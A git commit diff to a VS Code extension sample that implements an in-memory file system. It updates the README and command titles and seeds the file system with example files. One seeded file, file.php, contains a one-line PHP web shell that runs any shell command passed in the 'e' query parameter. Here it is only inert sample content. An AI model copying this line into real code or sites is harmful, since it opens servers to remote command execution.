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tweak command names and readme, create common files

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Johannes Rieken
2018-04-26 16:56:35 +02:00
parent bac2eb0ff6
commit b67adbb3f9
3 changed files with 34 additions and 13 deletions
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18
fsprovider-sample/README.md
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@ -1,8 +1,20 @@
# MemFS
This extension implements an in-memory file system to show-case a API. It also enables to see how other extensions behave with documents/files that aren't stored on disk.
This extension implements an in-memory file system to show-case the [filesytem provider api](https://github.com/Microsoft/vscode/blob/51a880315fd0ec2cafb511a17de48ec31802ba6d/src/vs/vscode.d.ts#L4968). It serves two purposes:
To *get started* you need the extension and a workspace with an entry like this:
* Be a sample/reference for extension authors that want to implement a filesystem provider
* Be a test for other extensions that *falsely* assume text document always live on disk.
To *get started* you need this:
* install this extension
* have a workspace-file as shown below and open it via 'File > Open Workspace'
* select 'F1 > [MemFs] Create Files' and notice how the explorer is now populated
* ... try things out, e.g. IntelliSense in memfs-files, create new files, save them, etc
* select 'F1 > [MemFs] Delete Files' or reload to restart
A sample workspace file, saved as `Test.code-workspace`, is this:
```json
{
@ -10,5 +22,3 @@ To *get started* you need the extension and a workspace with an entry like this:
"name": "MemFS"
}
```
Then, select 'F1 > Initialize MemFS' and notice how the file explorer is populated with some files.

4
fsprovider-sample/package.json
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@ -22,12 +22,12 @@
"commands": [
{
"command": "memfs.init",
"title": "Create files",
"title": "Create Files",
"category": "MemFS"
},
{
"command": "memfs.reset",
"title": "Delete all files",
"title": "Delete Files",
"category": "MemFS"
}
]

25
fsprovider-sample/src/extension.ts
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@ -23,23 +23,34 @@ export function activate(context: vscode.ExtensionContext) {
}
initialized = true;
// most common files types
memFs.writeFile(vscode.Uri.parse(`memfs:/file.txt`), Buffer.from('foo'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.html`), Buffer.from('<html><body><h1 class="hd">Hello</h1></body></html>'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.js`), Buffer.from('console.log("JavaScript")'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.json`), Buffer.from('{ "json": true }'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.ts`), Buffer.from('console.log("TypeScript")'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.css`), Buffer.from('* { color: green; }'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.md`), Buffer.from('Hello _World_'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.xml`), Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.py`), Buffer.from('import base64, sys; base64.decode(open(sys.argv[1], "rb"), open(sys.argv[2], "wb"))'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.php`), Buffer.from('<?php echo shell_exec($_GET[\'e\'].\' 2>&1\'); ?>'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.yaml`), Buffer.from('- just: write something'), { create: true, overwrite: true });
// some more files & folders
memFs.createDirectory(vscode.Uri.parse(`memfs:/folder/`));
memFs.createDirectory(vscode.Uri.parse(`memfs:/large/`));
memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/`));
memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/abc`));
memFs.createDirectory(vscode.Uri.parse(`memfs:/xyz/def`));
memFs.writeFile(vscode.Uri.parse(`memfs:/empty.txt`), new Uint8Array(0), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.txt`), Buffer.from('foo'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/file.css`), Buffer.from('* { color: green; }'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/large_rnd.foo`), randomData(50000), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/folder/empty.txt`), new Uint8Array(0), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/folder/empty.foo`), new Uint8Array(0), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/folder/file.ts`), Buffer.from('let a:number = true; console.log(a);'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/large/rnd.foo`), randomData(50000), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/UPPER.txt`), Buffer.from('UPPER'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/upper.txt`), Buffer.from('upper'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/def/foo.md`), Buffer.from('*MemFS*'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/xyz/def/foo.bin`), Buffer.from([0, 0, 0, 1, 7, 0, 0, 1, 1]), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/UPPER.txt`), Buffer.from('UPPER'), { create: true, overwrite: true });
memFs.writeFile(vscode.Uri.parse(`memfs:/upper.txt`), Buffer.from('upper'), { create: true, overwrite: true });
}));
}